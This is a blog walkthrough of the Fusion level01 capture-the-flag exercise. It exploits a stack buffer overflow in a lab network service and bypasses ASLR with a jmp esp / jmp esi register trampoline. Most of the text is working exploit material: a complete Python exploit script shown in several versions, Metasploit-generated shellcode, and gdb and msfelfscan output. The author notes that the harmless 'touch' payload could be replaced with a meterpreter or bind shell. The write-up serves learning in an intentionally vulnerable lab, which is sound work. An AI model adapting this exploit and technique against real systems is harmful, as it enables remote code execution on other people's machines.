So this level is very similar to the first, except that it has ASLR and doesn't tell us where the buffer is on every execution. Even if it did tell us, due to the ASLR, it very well may change every time it's executed. Based on this information, I went down the road of using a ret2reg method.
So let's start with the code we used on level00, but change the comments and port numbers to be more appropriate:
# Fusion Level 01 # http://exploit-exercises.com/fusion/level01 # Matt Andreko # twitter: @mandreko # contact: matt [at] mattandreko.com from sys import exit from struct import pack from optparse import OptionParser from socket import * def exploit(hostname, port): junk = "A"*139 ret = pack("<I", 0xbffff999) nops = "\x90"*100 shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f\x6f\x00\x57\x53\x89\xe1\xcd\x80" s = socket(AF_INET, SOCK_STREAM) try: print "[*] Connecting to %s on port %s" % (hostname, port) s.connect((hostname, port)) except: print "[*] Connection error" exit(1) print s.recv(1024) s.send("GET /" + junk + ret + " HTTP/1.1\n" + nops + shellcode) if __name__ == "__main__": parser = OptionParser("usage: %prog [options]") parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1", type="string", help="Target to run against") parser.add_option("-p", "--port", dest="portnum", default=20001, type="int", help="Target port") (options, args) = parser.parse_args() exploit(options.hostname, options.portnum)Now to start out, let's generate some new shellcode, to touch a file in /tmp:
fusion@fusion:/opt/metasploit-framework$ ./msfpayload linux/x86/exec CMD="touch /tmp/level01" C /* * linux/x86/exec - 54 bytes * http://www.metasploit.com * VERBOSE=false, PrependSetresuid=false, * PrependSetreuid=false, PrependSetuid=false, * PrependChrootBreak=false, AppendExit=false, CMD=touch * /tmp/level01 */ unsigned char buf[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68" "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x13\x00\x00\x00\x74" "\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x65\x76\x65\x6c" "\x30\x31\x00\x57\x53\x89\xe1\xcd\x80";Now to debug, let's change the return address to 0xDEADBEEF to generate an error, since we no longer know where the buffer will be. I also removed the "/" after the "GET", as well as the "\n" after the "HTTP/1.1" since they're really just junk getting in the way. Additionally, since the buffer isn't being printed to the screen, the "recv(1024)" code needed to be removed so the program didn't wait for it.
Now, our codebase looks like this:
# Fusion Level 01 # http://exploit-exercises.com/fusion/level01 # Matt Andreko # twitter: @mandreko # contact: matt [at] mattandreko.com from sys import exit from struct import pack from optparse import OptionParser from socket import * def exploit(hostname, port): junk = "A"*139 ret = pack("<I", 0xDEADBEEF) nops = "\x90"*100 shellcode = ("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68" "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x13\x00\x00\x00\x74" "\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x65\x76\x65\x6c" "\x30\x31\x00\x57\x53\x89\xe1\xcd\x80") s = socket(AF_INET, SOCK_STREAM) try: print "[*] Connecting to %s on port %s" % (hostname, port) s.connect((hostname, port)) except: print "[*] Connection error" exit(1) s.send("GET " + junk + ret + " HTTP/1.1" + nops + shellcode) if __name__ == "__main__": parser = OptionParser("usage: %prog [options]") parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1", type="string", help="Target to run against") parser.add_option("-p", "--port", dest="portnum", default=20001, type="int", help="Target port") (options, args) = parser.parse_args() exploit(options.hostname, options.portnum)As expected, when it was ran, it crashed, and dumped a core.
fusion@fusion:~$ ./level01.py [*] Connecting to 127.0.0.1 on port 20001 fusion@fusion:~$ ls /tmp core-level01-11-20001-20001-2222-1341317061So I loaded it into gdb to look at the dump.
fusion@fusion:~$ sudo gdb -q --core=/tmp/core-level01-11-20001-20001-2222-1341317061 [New LWP 2222] Core was generated by `/opt/fusion/bin/level01'. Program terminated with signal 11, Segmentation fault. #0 0xdeadbeef in ?? () (gdb) i r eax 0x1 1 ecx 0xb772d8d0 -1217210160 edx 0xbfa65d90 -1079616112 ebx 0xb78a5ff4 -1215668236 esp 0xbfa65d90 0xbfa65d90 ebp 0x41414141 0x41414141 esi 0xbfa65e44 -1079615932 edi 0x8049ed1 134520529 eip 0xdeadbeef 0xdeadbeef eflags 0x10246 [ PF ZF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51Initially, this shows that our return address did get hit successfully, since "0xdeadbeef" is the overwritten EIP. I then started exploring each of the registers to see if there was anything of interest. I found that my shellcode was actually being stored in the esi register, or at least the start of the nop-sled was:
(gdb) x/10x $esi 0xbfa65e44: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfa65e54: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfa65e64: 0x90909090 0x90909090I immediately thought this was going to be the end of the challenge, since I could just 'jmp esi'. However, when looking for that opcode, I couldn't find it:
fusion@fusion:/opt/metasploit-framework$ ./msfelfscan -j esi /opt/fusion/bin/level01 [/opt/fusion/bin/level01]Trying to find another way, I looked at the stack pointer, with a little extra surrounding it to see what's on each side:
(gdb) x/16x $esp-16 0xbfa65d80: 0x41414141 0x41414141 0x41414141 0xdeadbeef 0xbfa65d90: 0xbfa65d00 0x00000020 0x00000004 0x00000000 0xbfa65da0: 0x001761e4 0xbfa65e30 0x20544547 0x41414141 0xbfa65db0: 0x41414141 0x41414141 0x41414141 0x41414141So if our stack pointer is at 0xbfa65d90, the byte right after our return (0xdeadbeef), then we could return to the esp, and then redirect to the esi! Let's test this by changing the return address to a 'jmp esp', and making the next byte a debug opcode to halt the program.
Luckily this time we have a valid address for our register:
fusion@fusion:/opt/metasploit-framework$ ./msfelfscan -j esp /opt/fusion/bin/level01 [/opt/fusion/bin/level01] 0x08049f4f jmp espSo now our code looks like this:
# Fusion Level 01 # http://exploit-exercises.com/fusion/level01 # Matt Andreko # twitter: @mandreko # contact: matt [at] mattandreko.com from sys import exit from struct import pack from optparse import OptionParser from socket import * def exploit(hostname, port): junk = "A"*139 ret = pack("<I", 0x08049f4f) esi = "\xCC" nops = "\x90"*100 shellcode = ("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68" "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x13\x00\x00\x00\x74" "\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x65\x76\x65\x6c" "\x30\x31\x00\x57\x53\x89\xe1\xcd\x80") s = socket(AF_INET, SOCK_STREAM) try: print "[*] Connecting to %s on port %s" % (hostname, port) s.connect((hostname, port)) except: print "[*] Connection error" exit(1) s.send("GET " + junk + ret + esi + " HTTP/1.1" + nops + shellcode) if __name__ == "__main__": parser = OptionParser("usage: %prog [options]") parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1", type="string", help="Target to run against") parser.add_option("-p", "--port", dest="portnum", default=20001, type="int", help="Target port") (options, args) = parser.parse_args() exploit(options.hostname, options.portnum)Once it's executed, I load it into gdb again to poke around.
fusion@fusion:~$ ./level01.py [*] Connecting to 127.0.0.1 on port 20001 fusion@fusion:~$ ls /tmp core-level01-5-20001-20001-2353-1341318366 fusion@fusion:~$ sudo gdb -q --core=/tmp/core-level01-5-20001-20001-2353-1341318366 [New LWP 2353] Core was generated by `/opt/fusion/bin/level01'. Program terminated with signal 5, Trace/breakpoint trap. #0 0xbfa65d91 in ?? () (gdb) x/16x $esp-16 0xbfa65d80: 0x41414141 0x41414141 0x41414141 0x08049f4f 0xbfa65d90: 0xbfa600cc 0x00000020 0x00000004 0x00000000 0xbfa65da0: 0x001761e4 0xbfa65e30 0x20544547 0x41414141 0xbfa65db0: 0x41414141 0x41414141 0x41414141 0x41414141Well it looks like it hit our debug point. Let's try replacing the "\xCC" with the opcodes for "jmp esi". But first we have to find what that opcode actually is. I found a decent enough method for now on stackoverflow, which I modified a little for my needs. I'd like to find something better for the future though.
fusion@fusion:~$ echo -e "BITS 32\njmp esi" > tmp.S && nasm tmp.S -o tmp.o && ndisasm -b 32 tmp.o && rm -f tmp.o tmp.S 00000000 FFE6 jmp esiSince this is a 2 byte instruction, we will need to pad the end of it to 4 bytes, to align it properly. I simply used "\x90" nops to do so, giving us the value "0x9090E6FF".
That leaves us with the final code:
# Fusion Level 01 # http://exploit-exercises.com/fusion/level01 # Matt Andreko # twitter: @mandreko # contact: matt [at] mattandreko.com from sys import exit from struct import pack from optparse import OptionParser from socket import * def exploit(hostname, port): junk = "A"*139 ret = pack("<I", 0x08049f4f) esi = pack("<I", 0x9090E6FF) nops = "\x90"*100 shellcode = ("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68" "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x13\x00\x00\x00\x74" "\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x65\x76\x65\x6c" "\x30\x31\x00\x57\x53\x89\xe1\xcd\x80") s = socket(AF_INET, SOCK_STREAM) try: print "[*] Connecting to %s on port %s" % (hostname, port) s.connect((hostname, port)) except: print "[*] Connection error" exit(1) s.send("GET " + junk + ret + esi + " HTTP/1.1" + nops + shellcode) if __name__ == "__main__": parser = OptionParser("usage: %prog [options]") parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1", type="string", help="Target to run against") parser.add_option("-p", "--port", dest="portnum", default=20001, type="int", help="Target port") (options, args) = parser.parse_args() exploit(options.hostname, options.portnum)Now if we execute our exploit, it works just fine, bypassing ASLR and everything.
fusion@fusion:~$ ls -al /tmp fusion@fusion:~$ ./level01.py [*] Connecting to 127.0.0.1 on port 20001 fusion@fusion:~$ ls -al /tmp total 8 drwxrwxrwt 2 root root 4096 2012-07-03 23:32 . drwxr-xr-x 22 root root 4096 2012-05-07 21:53 .. -rw-r--r-- 1 20001 20001 0 2012-07-03 23:32 level01There you have it. Our shellcode to "touch /tmp/level01" executed as the uid 20001. That shellcode could then be replaced with something more malicious (read: meterpreter/bindshell) if desired. But for PoC, that works.
No comments:
Post a Comment